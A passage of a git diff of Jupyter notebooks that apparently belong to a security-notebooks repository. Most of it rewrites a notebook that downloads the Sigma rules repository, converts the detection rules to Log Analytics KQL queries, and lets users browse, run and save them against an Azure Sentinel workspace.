"model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "TextModel", - "state": { - "description": "Query end time (UTC) : ", - "layout": "IPY_MODEL_d072d85204a947bb949bff4b8e5fd408", - "style": "IPY_MODEL_1217115266d24de3a46426d6fe7e9da9", - "value": "2019-02-14 18:44:07.450496" - } - }, - "a346f97b03564932b88fca7ea8667a24": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "layout": "IPY_MODEL_8d21792eefdc45f78f104501fcef4d42", - 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Set query time boundaries

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"metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:01:11.022700Z", - "start_time": "2020-05-16T02:00:49.394760Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Authentication\n", @@ -169,12 +159,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:03:12.112983Z", - "start_time": "2020-05-16T02:03:12.055984Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "query_scope = nbwidgets.QueryTime(auto_display=True)" @@ -190,12 +175,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:03:25.227614Z", - "start_time": "2020-05-16T02:03:21.291120Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "qry_prov.SecurityAlert.list_alerts(query_scope)" @@ -280,13 +260,6 @@ "_Feature" ], "window_display": false - }, - "widgets": { - "application/vnd.jupyter.widget-state+json": { - "state": {}, - "version_major": 2, - "version_minor": 0 - } } }, "nbformat": 4, diff --git a/SigmaRuleImporter.ipynb b/SigmaRuleImporter.ipynb index 2c668f0c..2864c332 100644 --- a/SigmaRuleImporter.ipynb +++ b/SigmaRuleImporter.ipynb @@ -1,589 +1,644 @@ { - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Import and convert Neo23x0 Sigma scripts\n", - "ianhelle@microsoft.com\n", - "\n", - "This notebook is a is a quick and dirty Sigma to Log Analytics converter.\n", - "It uses the modules from sigmac package to do the conversion.\n", - "\n", - "Only a subset of the Sigma rules are convertible currently. Failure to convert\n", - "could be for one or more of these reasons:\n", - "- known limitations of the converter\n", - "- mismatch between the syntax expressible in Sigma and KQL\n", - "- data sources referenced in Sigma rules do not yet exist in Azure Sentinel\n", - "\n", - "The sigmac tool is downloadable as a package from PyPi but since we are downloading\n", - "the rules from the repo, we also copy and import the package from the repo source.\n", - "\n", - "After conversion you can use an interactive browser to step through the rules and\n", - "view (and copy/save) the KQL equivalents. You can also take the conversion results and \n", - "use them in another way (e.g.bulk save to files).\n", - "\n", - "The notebook is all somewhat experimental and offered as-is without any guarantees" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Download and unzip the Sigma repo" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "import requests\n", - "# Download the repo ZIP\n", - "sigma_git_url = 'https://github.com/Neo23x0/sigma/archive/master.zip'\n", - "r = requests.get(sigma_git_url)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from ipywidgets import widgets, Layout\n", - "import os\n", - "from pathlib import Path\n", - "def_path = Path.joinpath(Path(os.getcwd()), \"sigma\")\n", - "path_wgt = widgets.Text(value=str(def_path), \n", - " description='Path to extract to zipped repo files: ', \n", - " layout=Layout(width='50%'),\n", - " style={'description_width': 'initial'})\n", - "path_wgt" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "import zipfile\n", - "import io\n", - "repo_zip = io.BytesIO(r.content)\n", - "\n", - "zip_archive = zipfile.ZipFile(repo_zip, mode='r')\n", - "zip_archive.extractall(path=path_wgt.value)\n", - "RULES_REL_PATH = 'sigma-master/rules'\n", - "rules_root = Path(path_wgt.value) / RULES_REL_PATH" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Check that we have the files\n", - "You should see a folder with folders such as application, apt, windows..." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "scrolled": true - }, - "outputs": [], - "source": [ - "%ls {rules_root}" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Convert Sigma Files to Log Analytics Kql queries" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "scrolled": false - }, - "outputs": [], - "source": [ - "# Read the Sigma YAML file paths into a dict and make a\n", - "# a copy for the target Kql queries\n", - "from pathlib import Path\n", - "from collections import defaultdict\n", - "import copy\n", - "\n", - "def get_rule_files(rules_root):\n", - " file_dict = defaultdict(dict)\n", - " for file in Path(rules_root).resolve().rglob(\"*.yml\"):\n", - " rel_path = Path(file).relative_to(rules_root)\n", - " path_key = '.'.join(rel_path.parent.parts)\n", - " file_dict[path_key][rel_path.name] = file\n", - " return file_dict\n", - " \n", - "sigma_dict = get_rule_files(rules_root)\n", - "kql_dict = copy.deepcopy(sigma_dict)\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Add downloaded sigmac tool to sys.path and import Sigmac functions\n", - "import os\n", - "import sys\n", - "module_path = os.path.abspath(os.path.join('sigma/sigma-master/tools'))\n", - "if module_path not in sys.path:\n", - " sys.path.append(module_path)\n", - "from sigma.parser.collection import SigmaCollectionParser\n", - "from sigma.parser.exceptions import SigmaCollectionParseError, SigmaParseError\n", - "from sigma.configuration import SigmaConfiguration, SigmaConfigurationChain\n", - "from sigma.config.exceptions import SigmaConfigParseError, SigmaRuleFilterParseException\n", - "from sigma.filter import SigmaRuleFilter\n", - "import sigma.backends.discovery as backends\n", - "from sigma.backends.base import BackendOptions\n", - "from sigma.backends.exceptions import BackendError, NotSupportedError, PartialMatchError, FullMatchError" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "scrolled": false - }, - "outputs": [], - "source": [ - "# Sigma to Log Analytics Conversion\n", - "import yaml\n", - "_LA_MAPPINGS = '''\n", - "fieldmappings:\n", - " Image: NewProcessName\n", - " ParentImage: ParentProcessName\n", - " ParentCommandLine: NO_MAPPING\n", - "'''\n", - "\n", - "NOT_CONVERTIBLE = 'Not convertible'\n", - "\n", - "def sigma_to_la(file_path):\n", - " with open(file_path, 'r') as input_file:\n", - " try:\n", - " sigmaconfigs = SigmaConfigurationChain()\n", - " sigmaconfig = SigmaConfiguration(_LA_MAPPINGS)\n", - " sigmaconfigs.append(sigmaconfig)\n", - " backend_options = BackendOptions(None, None)\n", - " backend = backends.getBackend('ala')(sigmaconfigs, backend_options)\n", - " parser = SigmaCollectionParser(input_file, sigmaconfigs, None)\n", - " results = parser.generate(backend)\n", - " kql_result = ''\n", - " for result in results:\n", - " kql_result += result\n", - " except (NotImplementedError, NotSupportedError):\n", - " kql_result = NOT_CONVERTIBLE\n", - " input_file.seek(0,0)\n", - " sigma_txt = input_file.read()\n", - " if not kql_result == NOT_CONVERTIBLE:\n", - " try:\n", - " kql_header = \"\\n\".join(get_sigma_properties(sigma_txt))\n", - " kql_result = kql_header + \"\\n\" + kql_result\n", - " except Exception as e:\n", - " print(\"exception reading sigma YAML: \", e)\n", - " print(sigma_txt, kql_result, sep='\\n')\n", - " return sigma_txt, kql_result\n", - "\n", - "sigma_keys = ['title', 'description', 'tags', 'status', \n", - " 'author', 'logsource', 'falsepositives', 'level']\n", - "\n", - "def get_sigma_properties(sigma_rule):\n", - " sigma_docs = yaml.load_all(sigma_rule, Loader=yaml.SafeLoader)\n", - " sigma_rule_dict = next(sigma_docs)\n", - " for prop in sigma_keys:\n", - " yield get_property(prop, sigma_rule_dict)\n", - "\n", - "def get_property(name, sigma_rule_dict):\n", - " sig_prop = sigma_rule_dict.get(name, 'na')\n", - " if isinstance(sig_prop, dict):\n", - " sig_prop = ' '.join([f\"{k}: {v}\" for k, v in sig_prop.items()])\n", - " return f\"// {name}: {sig_prop}\"\n", - " \n", - " \n", - "_KQL_FILTERS = {\n", - " 'date': ' | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end}) ',\n", - " 'host': ' | where Computer has {host_name} '\n", - "}\n", - "\n", - "def insert_at(source, insert, find_sub):\n", - " pos = source.find(find_sub)\n", - " if pos != -1:\n", - " return source[:pos] + insert + source[pos:]\n", - " else:\n", - " return source + insert\n", - " \n", - "def add_filter_clauses(source, **kwargs):\n", - " if \"{\" in source or \"}\" in source:\n", - " source = (\"// Warning: embedded braces in source. Please edit if necessary.\\n\"\n", - " + source)\n", - " source = source.replace('{', '{{').replace('}', '}}')\n", - " if kwargs.get('host', False):\n", - " source = insert_at(source, _KQL_FILTERS['host'], '|')\n", - " if kwargs.get('date', False):\n", - " source = insert_at(source, _KQL_FILTERS['date'], '|')\n", - " return source\n", - "\n", - "\n", - "# Run the conversion\n", - "conv_counter = {}\n", - "for categ, sources in sigma_dict.items():\n", - " src_converted = 0\n", - " for file_name, file_path in sources.items():\n", - " sigma, kql = sigma_to_la(file_path)\n", - " kql_dict[categ][file_name] = (sigma, kql)\n", - " if not kql == NOT_CONVERTIBLE:\n", - " src_converted += 1\n", - " conv_counter[categ] = (len(sources), src_converted)\n", - " \n", - "print(\"Conversion statistics\")\n", - "print(\"-\" * len(\"Conversion statistics\"))\n", - "print('\\n'.join([f'{categ}: rules: {counter[0]}, converted: {counter[1]}'\n", - " for categ, counter in conv_counter.items()]))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Display the results in an interactive browser" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "scrolled": false - }, - "outputs": [], - "source": [ - "from ipywidgets import widgets, Layout\n", - "\n", - "# Browser Functions\n", - "def on_cat_value_change(change):\n", - " queries_w.options = kql_dict[change['new']].keys()\n", - " queries_w.value = queries_w.options[0]\n", - "\n", - "def on_query_value_change(change):\n", - " if view_qry_check.value:\n", - " qry_text = kql_dict[sub_cats_w.value][queries_w.value][1]\n", - " if \"Not convertible\" not in qry_text:\n", - " qry_text = add_filter_clauses(qry_text,\n", - " date=add_date_filter_check.value,\n", - " host=add_host_filter_check.value)\n", - " query_text_w.value = qry_text.replace('|', '\\n|')\n", - " orig_text_w.value = kql_dict[sub_cats_w.value][queries_w.value][0]\n", - "\n", - "def on_view_query_value_change(change):\n", - " vis = 'visible' if view_qry_check.value else 'hidden'\n", - " on_query_value_change(None)\n", - " query_text_w.layout.visibility = vis\n", - " orig_text_w.layout.visibility = vis\n", - "\n", - "# Function defs for ExecuteQuery cell below\n", - "def click_exec_hqry(b):\n", - " global qry_results\n", - " query_name = queries_w.value\n", - " query_cat = sub_cats_w.value\n", - " query_text = query_text_w.value\n", - " query_text = query_text.format(**qry_wgt.query_params)\n", - "\n", - " disp_results(query_text)\n", - " \n", - "def disp_results(query_text):\n", - " out_wgt.clear_output()\n", - " with out_wgt:\n", - " print(\"Running query...\", end=' ')\n", - " qry_results = execute_kql_query(query_text)\n", - " print(f'done. {len(qry_results)} rows returned.')\n", - " display(qry_results)\n", - " \n", - "exec_hqry_button = widgets.Button(description=\"Execute query..\")\n", - "out_wgt = widgets.Output() #layout=Layout(width='100%', height='200px', visiblity='visible'))\n", - "exec_hqry_button.on_click(click_exec_hqry)\n", - "\n", - "# Browser widget setup\n", - "categories = list(sorted(kql_dict.keys()))\n", - "sub_cats_w = widgets.Select(options=categories, \n", - " description='Category : ',\n", - " layout=Layout(width='30%', height='120px'),\n", - " style = {'description_width': 'initial'})\n", - "\n", - "queries_w = widgets.Select(options = kql_dict[categories[0]].keys(),\n", - " description='Query : ',\n", - " layout=Layout(width='30%', height='120px'),\n", - " style = {'description_width': 'initial'})\n", - "\n", - "query_text_w = widgets.Textarea(\n", - " value='',\n", - " description='Kql Query:',\n", - " layout=Layout(width='100%', height='300px', visiblity='hidden'),\n", - " disabled=False)\n", - "orig_text_w = widgets.Textarea(\n", - " value='',\n", - " description='Sigma Query:',\n", - " layout=Layout(width='100%', height='250px', visiblity='hidden'),\n", - " disabled=False)\n", - "\n", - "query_text_w.layout.visibility = 'hidden'\n", - "orig_text_w.layout.visibility = 'hidden'\n", - "sub_cats_w.observe(on_cat_value_change, names='value')\n", - "queries_w.observe(on_query_value_change, names='value')\n", - "\n", - "view_qry_check = widgets.Checkbox(description=\"View query\", value=True)\n", - "add_date_filter_check = widgets.Checkbox(description=\"Add date filter\", value=False)\n", - "add_host_filter_check = widgets.Checkbox(description=\"Add host filter\", value=False)\n", - "\n", - "view_qry_check.observe(on_view_query_value_change, names='value')\n", - "add_date_filter_check.observe(on_view_query_value_change, names='value')\n", - "add_host_filter_check.observe(on_view_query_value_change, names='value')\n", - "# view_qry_button.on_click(click_exec_hqry)\n", - "# display(exec_hqry_button);\n", - "\n", - "vbox_opts = widgets.VBox([view_qry_check, add_date_filter_check, add_host_filter_check])\n", - "hbox = widgets.HBox([sub_cats_w, queries_w, vbox_opts])\n", - "vbox = widgets.VBox([hbox, orig_text_w, query_text_w])\n", - "on_view_query_value_change(None)\n", - "display(vbox)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Click the `Execute query` button to run the currently display query\n", - "**Notes:**\n", - "- To run the queries, first authenticate to Log Analytics (scroll down and execute remaining cells in the notebook)\n", - "- If you added a date filter to the query set the date range below" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "scrolled": true - }, - "outputs": [], - "source": [ - "from msticpy.nbtools.nbwidgets import QueryTime\n", - "qry_wgt = QueryTime(units='days', before=5, after=0, max_before=30, max_after=10)\n", - "vbox = widgets.VBox([exec_hqry_button, out_wgt])\n", - "display(vbox)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Set Query Time bounds" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "scrolled": true - }, - "outputs": [], - "source": [ - "qry_wgt.display()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Authenticate to Azure Sentinel" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "def clean_kql_comments(query_string):\n", - " \"\"\"Cleans\"\"\"\n", - " import re\n", - " return re.sub(r'(//[^\\n]+)', '', query_string, re.MULTILINE).replace('\\n', '').strip()\n", - "\n", - "def execute_kql_query(query_string):\n", - " if not query_string or len(query_string.strip()) == 0:\n", - " print('No query supplied')\n", - " return None\n", - " src_query = clean_kql_comments(query_string)\n", - " result = get_ipython().run_cell_magic('kql', line='', cell=src_query)\n", - " \n", - " if result is not None and result.completion_query_info['StatusCode'] == 0:\n", - " results_frame = result.to_dataframe()\n", - " return results_frame\n", - " return []" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "import os\n", - "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", - "from msticpy.nbtools import kql, GetEnvironmentKey\n", - "\n", - "ws_config_file = 'config.json'\n", - "try:\n", - " ws_config = WorkspaceConfig(ws_config_file)\n", - " print('Found config file')\n", - " for cf_item in ['tenant_id', 'subscription_id', 'resource_group', 'workspace_id', 'workspace_name']:\n", - " print(cf_item, ws_config[cf_item])\n", - "except:\n", - " ws_config = None\n", - "\n", - "ws_id = GetEnvironmentKey(env_var='WORKSPACE_ID',\n", - " prompt='Log Analytics Workspace Id:')\n", - "if ws_config:\n", - " ws_id.value = ws_config['workspace_id']\n", - "ws_id.display()" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "try:\n", - " WORKSPACE_ID = select_ws.value\n", - "except NameError:\n", - " try:\n", - " WORKSPACE_ID = ws_id.value\n", - " except NameError:\n", - " WORKSPACE_ID = None\n", - " \n", - "if not WORKSPACE_ID:\n", - " raise ValueError('No workspace selected.')\n", - "\n", - "kql.load_kql_magic()\n", - "\n", - "%kql loganalytics://code().workspace(WORKSPACE_ID)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Save All Converted Files" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "path_save_wgt = widgets.Text(value=str(def_path) + \"_kql_out\",\n", - " description='Path to save KQL files: ',\n", - " layout=Layout(width='50%'),\n", - " style={'description_width': 'initial'})\n", - "path_save_wgt" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "root = Path(path_save_wgt.value)\n", - "root.mkdir(exist_ok=True)\n", - "for categ, kql_files in kql_dict.items():\n", - " sub_dir = root.joinpath(categ)\n", - " \n", - " for file_name, contents in kql_files.items():\n", - " kql_txt = contents[1]\n", - " if not kql_txt == NOT_CONVERTIBLE:\n", - " sub_dir.mkdir(exist_ok=True)\n", - " file_path = sub_dir.joinpath(file_name.replace('.yml', '.kql'))\n", - " with open(file_path, 'w') as output_file:\n", - " output_file.write(kql_txt)\n", - " print(f\"Saved {file_path}\")\n" - ] - } - ], - "metadata": { - "hide_input": false, - "kernelspec": { - "display_name": "Python 3.6", - "language": "python", - "name": "python36" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.6.7" - }, - "toc": { - "base_numbering": 1, - "nav_menu": {}, - "number_sections": false, - "sideBar": true, - "skip_h1_title": false, - "title_cell": "Table of Contents", - "title_sidebar": "Contents", - "toc_cell": false, - "toc_position": {}, - "toc_section_display": true, - "toc_window_display": false - }, - "varInspector": { - "cols": { - "lenName": 16, - "lenType": 16, - "lenVar": 40 - }, - "kernels_config": { - "python": { - "delete_cmd_postfix": "", - "delete_cmd_prefix": "del ", - "library": "var_list.py", - "varRefreshCmd": "print(var_dic_list())" + "cells": [ + { + "cell_type": "markdown", + "source": [ + "# Import and convert Neo23x0 Sigma scripts\n", + "ianhelle@microsoft.com\n", + "\n", + "This notebook is a is a quick and dirty Sigma to Log Analytics converter.\n", + "It uses the modules from sigmac package to do the conversion.\n", + "\n", + "Only a subset of the Sigma rules are convertible currently. Failure to convert\n", + "could be for one or more of these reasons:\n", + "- known limitations of the converter\n", + "- mismatch between the syntax expressible in Sigma and KQL\n", + "- data sources referenced in Sigma rules do not yet exist in Azure Sentinel\n", + "\n", + "The sigmac tool is downloadable as a package from PyPi but since we are downloading\n", + "the rules from the repo, we also copy and import the package from the repo source.\n", + "\n", + "After conversion you can use an interactive browser to step through the rules and\n", + "view (and copy/save) the KQL equivalents. You can also take the conversion results and \n", + "use them in another way (e.g.bulk save to files).\n", + "\n", + "The notebook is all somewhat experimental and offered as-is without any guarantees" + ], + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "## Download and unzip the Sigma repo" + ], + "metadata": {} }, - "r": { - "delete_cmd_postfix": ") ", - "delete_cmd_prefix": "rm(", - "library": "var_list.r", - "varRefreshCmd": "cat(var_dic_list()) " + { + "cell_type": "code", + "source": [ + "from pathlib import Path\r\n", + "import sys\r\n", + "from IPython.display import display, HTML, Markdown\r\n", + "\r\n", + "REQ_PYTHON_VER=(3, 6)\r\n", + "REQ_MSTICPY_VER=(0, 6, 0)\r\n", + "\r\n", + "display(HTML(\"

Starting Notebook setup...

\"))\r\n", + "if Path(\"./utils/nb_check.py\").is_file():\r\n", + " from utils.nb_check import check_python_ver, check_mp_ver\r\n", + "\r\n", + " check_python_ver(min_py_ver=REQ_PYTHON_VER)\r\n", + " try:\r\n", + " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\r\n", + " except ImportError:\r\n", + " !pip install --upgrade msticpy\r\n", + " if \"msticpy\" in sys.modules:\r\n", + " importlib.reload(sys.modules[\"msticpy\"])\r\n", + " else:\r\n", + " import msticpy\r\n", + " check_mp_ver(REQ_MSTICPY_VER)\r\n", + "\r\n", + "# If not using Azure Notebooks, install msticpy with\r\n", + "# !pip install msticpy\r\n", + "\r\n", + "from msticpy.nbtools import nbinit\r\n", + "nbinit.init_notebook(namespace=globals());" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "collapsed": true, + "jupyter": { + "source_hidden": false, + "outputs_hidden": false + }, + "nteract": { + "transient": { + "deleting": false + } + } + } + }, + { + "cell_type": "code", + "source": [ + "import requests\n", + "# Download the repo ZIP\n", + "sigma_git_url = 'https://github.com/Neo23x0/sigma/archive/master.zip'\n", + "r = requests.get(sigma_git_url)" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "from ipywidgets import widgets, Layout\n", + "import os\n", + "from pathlib import Path\n", + "def_path = Path.joinpath(Path(os.getcwd()), \"sigma\")\n", + "path_wgt = widgets.Text(value=str(def_path), \n", + " description='Path to extract to zipped repo files: ', \n", + " layout=Layout(width='50%'),\n", + " style={'description_width': 'initial'})\n", + "path_wgt" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "RULES_REL_PATH = 'sigma-master/rules'\r\n", + "rules_root = Path(path_wgt.value) / RULES_REL_PATH" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "collapsed": true, + "jupyter": { + "source_hidden": false, + "outputs_hidden": false + }, + "nteract": { + "transient": { + "deleting": false + } + } + } + }, + { + "cell_type": "code", + "source": [ + "import zipfile\n", + "import io\n", + "repo_zip = io.BytesIO(r.content)\n", + "\n", + "zip_archive = zipfile.ZipFile(repo_zip, mode='r')\n", + "zip_archive.extractall(path=path_wgt.value)\n" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "### Check that we have the files\n", + "You should see a folder with folders such as application, apt, windows..." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "%ls {rules_root}" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "scrolled": true + } + }, + { + "cell_type": "markdown", + "source": [ + "## Convert Sigma Files to Log Analytics Kql queries" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "# Read the Sigma YAML file paths into a dict and make a\n", + "# a copy for the target Kql queries\n", + "from pathlib import Path\n", + "from collections import defaultdict\n", + "import copy\n", + "\n", + "def get_rule_files(rules_root):\n", + " file_dict = defaultdict(dict)\n", + " for file in Path(rules_root).resolve().rglob(\"*.yml\"):\n", + " rel_path = Path(file).relative_to(rules_root)\n", + " path_key = '.'.join(rel_path.parent.parts)\n", + " file_dict[path_key][rel_path.name] = file\n", + " return file_dict\n", + " \n", + "sigma_dict = get_rule_files(rules_root)\n", + "kql_dict = copy.deepcopy(sigma_dict)\n" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "scrolled": false + } + }, + { + "cell_type": "code", + "source": [ + "# Add downloaded sigmac tool to sys.path and import Sigmac functions\n", + "import os\n", + "import sys\n", + "module_path = os.path.abspath(os.path.join('sigma/sigma-master/tools'))\n", + "if module_path not in sys.path:\n", + " sys.path.append(module_path)\n", + "from sigma.parser.collection import SigmaCollectionParser\n", + "from sigma.parser.exceptions import SigmaCollectionParseError, SigmaParseError\n", + "from sigma.configuration import SigmaConfiguration, SigmaConfigurationChain\n", + "from sigma.config.exceptions import SigmaConfigParseError, SigmaRuleFilterParseException\n", + "from sigma.filter import SigmaRuleFilter\n", + "import sigma.backends.discovery as backends\n", + "from sigma.backends.base import BackendOptions\n", + "from sigma.backends.exceptions import BackendError, NotSupportedError, PartialMatchError, FullMatchError" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "# Sigma to Log Analytics Conversion\n", + "import yaml\n", + "_LA_MAPPINGS = '''\n", + "fieldmappings:\n", + " Image: NewProcessName\n", + " ParentImage: ParentProcessName\n", + " ParentCommandLine: NO_MAPPING\n", + "'''\n", + "\n", + "NOT_CONVERTIBLE = 'Not convertible'\n", + "\n", + "def sigma_to_la(file_path):\n", + " with open(file_path, 'r') as input_file:\n", + " try:\n", + " sigmaconfigs = SigmaConfigurationChain()\n", + " sigmaconfig = SigmaConfiguration(_LA_MAPPINGS)\n", + " sigmaconfigs.append(sigmaconfig)\n", + " backend_options = BackendOptions(None, None)\n", + " backend = backends.getBackend('ala')(sigmaconfigs, backend_options)\n", + " parser = SigmaCollectionParser(input_file, sigmaconfigs, None)\n", + " results = parser.generate(backend)\n", + " kql_result = ''\n", + " for result in results:\n", + " kql_result += result\n", + " except (NotImplementedError, NotSupportedError, TypeError):\n", + " kql_result = NOT_CONVERTIBLE\n", + " input_file.seek(0,0)\n", + " sigma_txt = input_file.read()\n", + " if not kql_result == NOT_CONVERTIBLE:\n", + " try:\n", + " kql_header = \"\\n\".join(get_sigma_properties(sigma_txt))\n", + " kql_result = kql_header + \"\\n\" + kql_result\n", + " except Exception as e:\n", + " print(\"exception reading sigma YAML: \", e)\n", + " print(sigma_txt, kql_result, sep='\\n')\n", + " return sigma_txt, kql_result\n", + "\n", + "sigma_keys = ['title', 'description', 'tags', 'status', \n", + " 'author', 'logsource', 'falsepositives', 'level']\n", + "\n", + "def get_sigma_properties(sigma_rule):\n", + " sigma_docs = yaml.load_all(sigma_rule, Loader=yaml.SafeLoader)\n", + " sigma_rule_dict = next(sigma_docs)\n", + " for prop in sigma_keys:\n", + " yield get_property(prop, sigma_rule_dict)\n", + "\n", + "def get_property(name, sigma_rule_dict):\n", + " sig_prop = sigma_rule_dict.get(name, 'na')\n", + " if isinstance(sig_prop, dict):\n", + " sig_prop = ' '.join([f\"{k}: {v}\" for k, v in sig_prop.items()])\n", + " return f\"// {name}: {sig_prop}\"\n", + " \n", + " \n", + "_KQL_FILTERS = {\n", + " 'date': ' | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end}) ',\n", + " 'host': ' | where Computer has {host_name} '\n", + "}\n", + "\n", + "def insert_at(source, insert, find_sub):\n", + " pos = source.find(find_sub)\n", + " if pos != -1:\n", + " return source[:pos] + insert + source[pos:]\n", + " else:\n", + " return source + insert\n", + " \n", + "def add_filter_clauses(source, **kwargs):\n", + " if \"{\" in source or \"}\" in source:\n", + " source = (\"// Warning: embedded braces in source. Please edit if necessary.\\n\"\n", + " + source)\n", + " source = source.replace('{', '{{').replace('}', '}}')\n", + " if kwargs.get('host', False):\n", + " source = insert_at(source, _KQL_FILTERS['host'], '|')\n", + " if kwargs.get('date', False):\n", + " source = insert_at(source, _KQL_FILTERS['date'], '|')\n", + " return source\n", + "\n", + "\n", + "# Run the conversion\n", + "print(\"Converting rules\")\n", + "conv_counter = {}\n", + "for categ, sources in sigma_dict.items():\n", + " src_converted = 0\n", + " print(\"\\n\", categ, end=\"\")\n", + " for file_name, file_path in sources.items():\n", + " try:\n", + " sigma, kql = sigma_to_la(file_path)\n", + " print(\".\", end=\"\")\n", + " except:\n", + " print(f\"Error converting {file_name} ({file_path})\")\n", + " continue\n", + " kql_dict[categ][file_name] = (sigma, kql)\n", + " if not kql == NOT_CONVERTIBLE:\n", + " src_converted += 1\n", + " conv_counter[categ] = (len(sources), src_converted)\n", + "\n", + "print(\"\\nConversion statistics\")\n", + "print(\"-\" * len(\"Conversion statistics\"))\n", + "print('\\n'.join([f'{categ}: rules: {counter[0]}, converted: {counter[1]}'\n", + " for categ, counter in conv_counter.items()]))" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "scrolled": false + } + }, + { + "cell_type": "markdown", + "source": [ + "## Display the results in an interactive browser" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "from ipywidgets import widgets, Layout\n", + "\n", + "# Browser Functions\n", + "def on_cat_value_change(change):\n", + " queries_w.options = kql_dict[change['new']].keys()\n", + " queries_w.value = queries_w.options[0]\n", + "\n", + "def on_query_value_change(change):\n", + " if view_qry_check.value:\n", + " qry_text = kql_dict[sub_cats_w.value][queries_w.value][1]\n", + " if \"Not convertible\" not in qry_text:\n", + " qry_text = add_filter_clauses(qry_text,\n", + " date=add_date_filter_check.value,\n", + " host=add_host_filter_check.value)\n", + " query_text_w.value = qry_text.replace('|', '\\n|')\n", + " orig_text_w.value = kql_dict[sub_cats_w.value][queries_w.value][0]\n", + "\n", + "def on_view_query_value_change(change):\n", + " vis = 'visible' if view_qry_check.value else 'hidden'\n", + " on_query_value_change(None)\n", + " query_text_w.layout.visibility = vis\n", + " orig_text_w.layout.visibility = vis\n", + "\n", + "# Function defs for ExecuteQuery cell below\n", + "def click_exec_hqry(b):\n", + " global qry_results\n", + " query_name = queries_w.value\n", + " query_cat = sub_cats_w.value\n", + " query_text = query_text_w.value\n", + " query_text = query_text.format(**qry_wgt.query_params)\n", + "\n", + " disp_results(query_text)\n", + " \n", + "def disp_results(query_text):\n", + " out_wgt.clear_output()\n", + " with out_wgt:\n", + " print(\"Running query...\", end=' ')\n", + " qry_results = execute_kql_query(query_text)\n", + " print(f'done. {len(qry_results)} rows returned.')\n", + " display(qry_results)\n", + " \n", + "exec_hqry_button = widgets.Button(description=\"Execute query..\")\n", + "out_wgt = widgets.Output() #layout=Layout(width='100%', height='200px', visiblity='visible'))\n", + "exec_hqry_button.on_click(click_exec_hqry)\n", + "\n", + "# Browser widget setup\n", + "categories = list(sorted(kql_dict.keys()))\n", + "sub_cats_w = widgets.Select(options=categories, \n", + " description='Category : ',\n", + " layout=Layout(width='30%', height='120px'),\n", + " style = {'description_width': 'initial'})\n", + "\n", + "queries_w = widgets.Select(options = kql_dict[categories[0]].keys(),\n", + " description='Query : ',\n", + " layout=Layout(width='30%', height='120px'),\n", + " style = {'description_width': 'initial'})\n", + "\n", + "query_text_w = widgets.Textarea(\n", + " value='',\n", + " description='Kql Query:',\n", + " layout=Layout(width='100%', height='300px', visiblity='hidden'),\n", + " disabled=False)\n", + "orig_text_w = widgets.Textarea(\n", + " value='',\n", + " description='Sigma Query:',\n", + " 